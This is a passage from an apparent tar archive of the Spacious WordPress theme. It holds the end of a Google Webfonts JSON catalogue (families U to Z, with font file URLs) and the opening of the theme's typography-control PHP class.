        "700": "http://fonts.gstatic.com/s/ubuntu/v14/4iCv6KVjbNBYlgoCxCvTt2aMH4V_gg.ttf",
        "700italic": "http://fonts.gstatic.com/s/ubuntu/v14/4iCp6KVjbNBYlgoKejZPsmyIPYBvgpUI.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Ubuntu Condensed",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ubuntucondensed/v10/u-4k0rCzjgs5J7oXnJcM_0kACGMtf-fVqvHoJXw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Ubuntu Mono",
      "category": "monospace",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ubuntumono/v9/KFOjCneDtsqEr0keqCMhbBc9AMX6lJBP.ttf",
        "italic": "http://fonts.gstatic.com/s/ubuntumono/v9/KFOhCneDtsqEr0keqCMhbCc_CsHYkYBPY3o.ttf",
        "700": "http://fonts.gstatic.com/s/ubuntumono/v9/KFO-CneDtsqEr0keqCMhbC-BL-Hyv4xGemO1.ttf",
        "700italic": "http://fonts.gstatic.com/s/ubuntumono/v9/KFO8CneDtsqEr0keqCMhbCc_Mn33tYhkf3O1GVg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Ultra",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ultra/v12/zOLy4prXmrtY-tT6yLOD6NxF.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Uncial Antiqua",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/uncialantiqua/v7/N0bM2S5WOex4OUbESzoESK-i-PfRS5VBBSSF.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Underdog",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/underdog/v8/CHygV-jCElj7diMroVSiU14GN2Il.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Unica One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/unicaone/v7/DPEuYwWHyAYGVTSmalshdtffuEY7FA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "UnifrakturCook",
      "category": "display",
      "variants": [
        "700"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "700": "http://fonts.gstatic.com/s/unifrakturcook/v11/IurA6Yli8YOdcoky-0PTTdkm56n05Uw13ILXs-h6.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "UnifrakturMaguntia",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/unifrakturmaguntia/v10/WWXPlieVYwiGNomYU-ciRLRvEmK7oaVun2xNNgNa1A.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Unkempt",
      "category": "display",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/unkempt/v11/2EbnL-Z2DFZue0DSSYYf8z2Yt_c.ttf",
        "700": "http://fonts.gstatic.com/s/unkempt/v11/2EbiL-Z2DFZue0DScTow1zWzq_5uT84.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Unlock",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/unlock/v9/7Au-p_8ykD-cDl7GKAjSwkUVOQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Unna",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v13",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/unna/v13/AYCEpXzofN0NCpgBlGHCWFM.ttf",
        "italic": "http://fonts.gstatic.com/s/unna/v13/AYCKpXzofN0NOpoLkEPHSFNyxw.ttf",
        "700": "http://fonts.gstatic.com/s/unna/v13/AYCLpXzofN0NMiQusGnpRFpr3vc.ttf",
        "700italic": "http://fonts.gstatic.com/s/unna/v13/AYCJpXzofN0NOpozLGzjQHhuzvef5Q.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "VT323",
      "category": "monospace",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/vt323/v11/pxiKyp0ihIEF2hsYHpT2dkNE.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Vampiro One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/vampiroone/v10/gokqH6DoDl5yXvJytFsdLkqnsvhIor3K.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Varela",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/varela/v10/DPEtYwqExx0AWHXJBBQFfvzDsQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Varela Round",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "hebrew",
        "latin-ext",
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/varelaround/v12/w8gdH283Tvk__Lua32TysjIvoMGOD9gxZw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Vast Shadow",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/vastshadow/v9/pe0qMImKOZ1V62ZwbVY9dfe6Kdpickwp.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Vesper Libre",
      "category": "serif",
      "variants": [
        "regular",
        "500",
        "700",
        "900"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/vesperlibre/v11/bx6CNxyWnf-uxPdXDHUD_Rd4D0-N2qIWVQ.ttf",
        "500": "http://fonts.gstatic.com/s/vesperlibre/v11/bx6dNxyWnf-uxPdXDHUD_RdA-2ap0okKXKvPlw.ttf",
        "700": "http://fonts.gstatic.com/s/vesperlibre/v11/bx6dNxyWnf-uxPdXDHUD_RdAs2Cp0okKXKvPlw.ttf",
        "900": "http://fonts.gstatic.com/s/vesperlibre/v11/bx6dNxyWnf-uxPdXDHUD_RdAi2Kp0okKXKvPlw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Viaoda Libre",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-06",
      "files": {
        "regular": "http://fonts.gstatic.com/s/viaodalibre/v1/vEFW2_lWCgoR6OKuRz9kcRVJb2IY2tOHXg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Vibes",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "arabic",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/vibes/v1/QdVYSTsmIB6tmbd3HpbsuBlh.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Vibur",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/vibur/v10/DPEiYwmEzw0QRjTpLjoJd-Xa.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Vidaloka",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/vidaloka/v12/7cHrv4c3ipenMKlEass8yn4hnCci.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Viga",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/viga/v8/xMQbuFFdSaiX_QIjD4e2OX8.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Voces",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/voces/v9/-F6_fjJyLyU8d4PBBG7YpzlJ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Volkhov",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/volkhov/v11/SlGQmQieoJcKemNeQTIOhHxzcD0.ttf",
        "italic": "http://fonts.gstatic.com/s/volkhov/v11/SlGSmQieoJcKemNecTAEgF52YD0NYw.ttf",
        "700": "http://fonts.gstatic.com/s/volkhov/v11/SlGVmQieoJcKemNeeY4hoHRYbDQUego.ttf",
        "700italic": "http://fonts.gstatic.com/s/volkhov/v11/SlGXmQieoJcKemNecTA8PHFSaBYRagrQrA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Vollkorn",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/vollkorn/v10/0yb9GDoxxrvAnPhYGykuYkw2rQg1.ttf",
        "italic": "http://fonts.gstatic.com/s/vollkorn/v10/0yb7GDoxxrvAnPhYGxksaEgUqBg15TY.ttf",
        "600": "http://fonts.gstatic.com/s/vollkorn/v10/0yb6GDoxxrvAnPhYGxH2TGg-hhQ8_C_3.ttf",
        "600italic": "http://fonts.gstatic.com/s/vollkorn/v10/0yb4GDoxxrvAnPhYGxksUJA6jBAe-T_34DM.ttf",
        "700": "http://fonts.gstatic.com/s/vollkorn/v10/0yb6GDoxxrvAnPhYGxGSTWg-hhQ8_C_3.ttf",
        "700italic": "http://fonts.gstatic.com/s/vollkorn/v10/0yb4GDoxxrvAnPhYGxksUPQ7jBAe-T_34DM.ttf",
        "900": "http://fonts.gstatic.com/s/vollkorn/v10/0yb6GDoxxrvAnPhYGxGqT2g-hhQ8_C_3.ttf",
        "900italic": "http://fonts.gstatic.com/s/vollkorn/v10/0yb4GDoxxrvAnPhYGxksUMw5jBAe-T_34DM.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Vollkorn SC",
      "category": "serif",
      "variants": [
        "regular",
        "600",
        "700",
        "900"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v3",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/vollkornsc/v3/j8_v6-zQ3rXpceZj9cqnVhF5NH-iSq_E.ttf",
        "600": "http://fonts.gstatic.com/s/vollkornsc/v3/j8_y6-zQ3rXpceZj9cqnVimhGluqYbPN5Yjn.ttf",
        "700": "http://fonts.gstatic.com/s/vollkornsc/v3/j8_y6-zQ3rXpceZj9cqnVinFG1uqYbPN5Yjn.ttf",
        "900": "http://fonts.gstatic.com/s/vollkornsc/v3/j8_y6-zQ3rXpceZj9cqnVin9GVuqYbPN5Yjn.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Voltaire",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/voltaire/v9/1Pttg8PcRfSblAvGvQooYKVnBOif.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Waiting for the Sunrise",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/waitingforthesunrise/v10/WBL1rFvOYl9CEv2i1mO6KUW8RKWJ2zoXoz5JsYZQ9h_ZYk5J.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Wallpoet",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/wallpoet/v11/f0X10em2_8RnXVVdUNbu7cXP8L8G.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Walter Turncoat",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/walterturncoat/v10/snfys0Gs98ln43n0d-14ULoToe67YB2dQ5ZPqQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Warnes",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/warnes/v9/pONn1hc0GsW6sW5OpiC2o6Lkqg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Wellfleet",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/wellfleet/v7/nuF7D_LfQJb3VYgX6eyT42aLDhO2HA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Wendy One",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/wendyone/v8/2sDcZGJOipXfgfXV5wgDb2-4C7wFZQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Wire One",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/wireone/v10/qFdH35Wah5htUhV75WGiWdrCwwcJ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Work Sans",
      "category": "sans-serif",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900",
        "100italic",
        "200italic",
        "300italic",
        "italic",
        "500italic",
        "600italic",
        "700italic",
        "800italic",
        "900italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2020-03-20",
      "files": {
        "100": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K0nWNigDp6_cOyA.ttf",
        "200": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K8nXNigDp6_cOyA.ttf",
        "300": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32KxfXNigDp6_cOyA.ttf",
        "regular": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K0nXNigDp6_cOyA.ttf",
        "500": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K3vXNigDp6_cOyA.ttf",
        "600": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K5fQNigDp6_cOyA.ttf",
        "700": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K67QNigDp6_cOyA.ttf",
        "800": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K8nQNigDp6_cOyA.ttf",
        "900": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K-DQNigDp6_cOyA.ttf",
        "100italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGU3moJo43ZKyDSQQ.ttf",
        "200italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUXmsJo43ZKyDSQQ.ttf",
        "300italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUgGsJo43ZKyDSQQ.ttf",
        "italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGU3msJo43ZKyDSQQ.ttf",
        "500italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGU7GsJo43ZKyDSQQ.ttf",
        "600italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUAGwJo43ZKyDSQQ.ttf",
        "700italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUOWwJo43ZKyDSQQ.ttf",
        "800italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUXmwJo43ZKyDSQQ.ttf",
        "900italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUd2wJo43ZKyDSQQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Yanone Kaffeesatz",
      "category": "sans-serif",
      "variants": [
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v14",
      "lastModified": "2020-02-05",
      "files": {
        "200": "http://fonts.gstatic.com/s/yanonekaffeesatz/v14/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftodtWpcGuLCnXkVA.ttf",
        "300": "http://fonts.gstatic.com/s/yanonekaffeesatz/v14/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftoqNWpcGuLCnXkVA.ttf",
        "regular": "http://fonts.gstatic.com/s/yanonekaffeesatz/v14/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIfto9tWpcGuLCnXkVA.ttf",
        "500": "http://fonts.gstatic.com/s/yanonekaffeesatz/v14/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftoxNWpcGuLCnXkVA.ttf",
        "600": "http://fonts.gstatic.com/s/yanonekaffeesatz/v14/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftoKNKpcGuLCnXkVA.ttf",
        "700": "http://fonts.gstatic.com/s/yanonekaffeesatz/v14/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftoEdKpcGuLCnXkVA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Yantramanav",
      "category": "sans-serif",
      "variants": [
        "100",
        "300",
        "regular",
        "500",
        "700",
        "900"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/yantramanav/v5/flU-Rqu5zY00QEpyWJYWN5-QXeNzDB41rZg.ttf",
        "300": "http://fonts.gstatic.com/s/yantramanav/v5/flUhRqu5zY00QEpyWJYWN59Yf8NZIhI8tIHh.ttf",
        "regular": "http://fonts.gstatic.com/s/yantramanav/v5/flU8Rqu5zY00QEpyWJYWN6f0V-dRCQ41.ttf",
        "500": "http://fonts.gstatic.com/s/yantramanav/v5/flUhRqu5zY00QEpyWJYWN58AfsNZIhI8tIHh.ttf",
        "700": "http://fonts.gstatic.com/s/yantramanav/v5/flUhRqu5zY00QEpyWJYWN59IeMNZIhI8tIHh.ttf",
        "900": "http://fonts.gstatic.com/s/yantramanav/v5/flUhRqu5zY00QEpyWJYWN59wesNZIhI8tIHh.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Yatra One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/yatraone/v6/C8ch4copsHzj8p7NaF0xw1OBbRDvXw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Yellowtail",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/yellowtail/v10/OZpGg_pnoDtINPfRIlLotlzNwED-b4g.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Yeon Sung",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/yeonsung/v8/QldMNTpbohAGtsJvUn6xSVNazqx2xg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Yeseva One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v14",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/yesevaone/v14/OpNJno4ck8vc-xYpwWWxpipfWhXD00c.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Yesteryear",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/yesteryear/v8/dg4g_p78rroaKl8kRKo1r7wHTwonmyw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Yrsa",
      "category": "serif",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/yrsa/v5/wlpxgwnQFlxs3af93IQ73W5OcCk.ttf",
        "regular": "http://fonts.gstatic.com/s/yrsa/v5/wlp-gwnQFlxs5QvV-IwQwWc.ttf",
        "500": "http://fonts.gstatic.com/s/yrsa/v5/wlpxgwnQFlxs3f_83IQ73W5OcCk.ttf",
        "600": "http://fonts.gstatic.com/s/yrsa/v5/wlpxgwnQFlxs3dP73IQ73W5OcCk.ttf",
        "700": "http://fonts.gstatic.com/s/yrsa/v5/wlpxgwnQFlxs3bf63IQ73W5OcCk.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "ZCOOL KuaiLe",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "chinese-simplified",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/zcoolkuaile/v5/tssqApdaRQokwFjFJjvM6h2WpozzoXhC2g.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "ZCOOL QingKe HuangYou",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "chinese-simplified",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/zcoolqingkehuangyou/v5/2Eb5L_R5IXJEWhD3AOhSvFC554MOOahI4mRIi_28c8bHWA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "ZCOOL XiaoWei",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "chinese-simplified",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/zcoolxiaowei/v5/i7dMIFFrTRywPpUVX9_RJyM1YFKQHwyVd3U.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Zeyada",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/zeyada/v9/11hAGpPTxVPUbgZDNGatWKaZ3g.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Zhi Mang Xing",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "chinese-simplified",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/zhimangxing/v5/f0Xw0ey79sErYFtWQ9a2rq-g0actfektIJ0.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Zilla Slab",
      "category": "serif",
      "variants": [
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-17",
      "files": {
        "300": "http://fonts.gstatic.com/s/zillaslab/v5/dFa5ZfeM_74wlPZtksIFYpEY2HSjWlhzbaw.ttf",
        "300italic": "http://fonts.gstatic.com/s/zillaslab/v5/dFanZfeM_74wlPZtksIFaj8CVHapXnp2fazkfg.ttf",
        "regular": "http://fonts.gstatic.com/s/zillaslab/v5/dFa6ZfeM_74wlPZtksIFWj0w_HyIRlE.ttf",
        "italic": "http://fonts.gstatic.com/s/zillaslab/v5/dFa4ZfeM_74wlPZtksIFaj86-F6NVlFqdA.ttf",
        "500": "http://fonts.gstatic.com/s/zillaslab/v5/dFa5ZfeM_74wlPZtksIFYskZ2HSjWlhzbaw.ttf",
        "500italic": "http://fonts.gstatic.com/s/zillaslab/v5/dFanZfeM_74wlPZtksIFaj8CDHepXnp2fazkfg.ttf",
        "600": "http://fonts.gstatic.com/s/zillaslab/v5/dFa5ZfeM_74wlPZtksIFYuUe2HSjWlhzbaw.ttf",
        "600italic": "http://fonts.gstatic.com/s/zillaslab/v5/dFanZfeM_74wlPZtksIFaj8CIHCpXnp2fazkfg.ttf",
        "700": "http://fonts.gstatic.com/s/zillaslab/v5/dFa5ZfeM_74wlPZtksIFYoEf2HSjWlhzbaw.ttf",
        "700italic": "http://fonts.gstatic.com/s/zillaslab/v5/dFanZfeM_74wlPZtksIFaj8CRHGpXnp2fazkfg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Zilla Slab Highlight",
      "category": "display",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/zillaslabhighlight/v7/gNMbW2BrTpK8-inLtBJgMMfbm6uNVDvRxhtIY2DwSXlM.ttf",
        "700": "http://fonts.gstatic.com/s/zillaslabhighlight/v7/gNMUW2BrTpK8-inLtBJgMMfbm6uNVDvRxiP0TET4YmVF0Mb6.ttf"
      }
    }
  ]
}
core/custom-controls/typography/class-spacious-typography-control.php000066600000057510152367043330022423 0ustar00<?php
/**
 * Extend WP_Customize_Control to include typography control.
 *
 * Class Spacious_Typography_Control
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
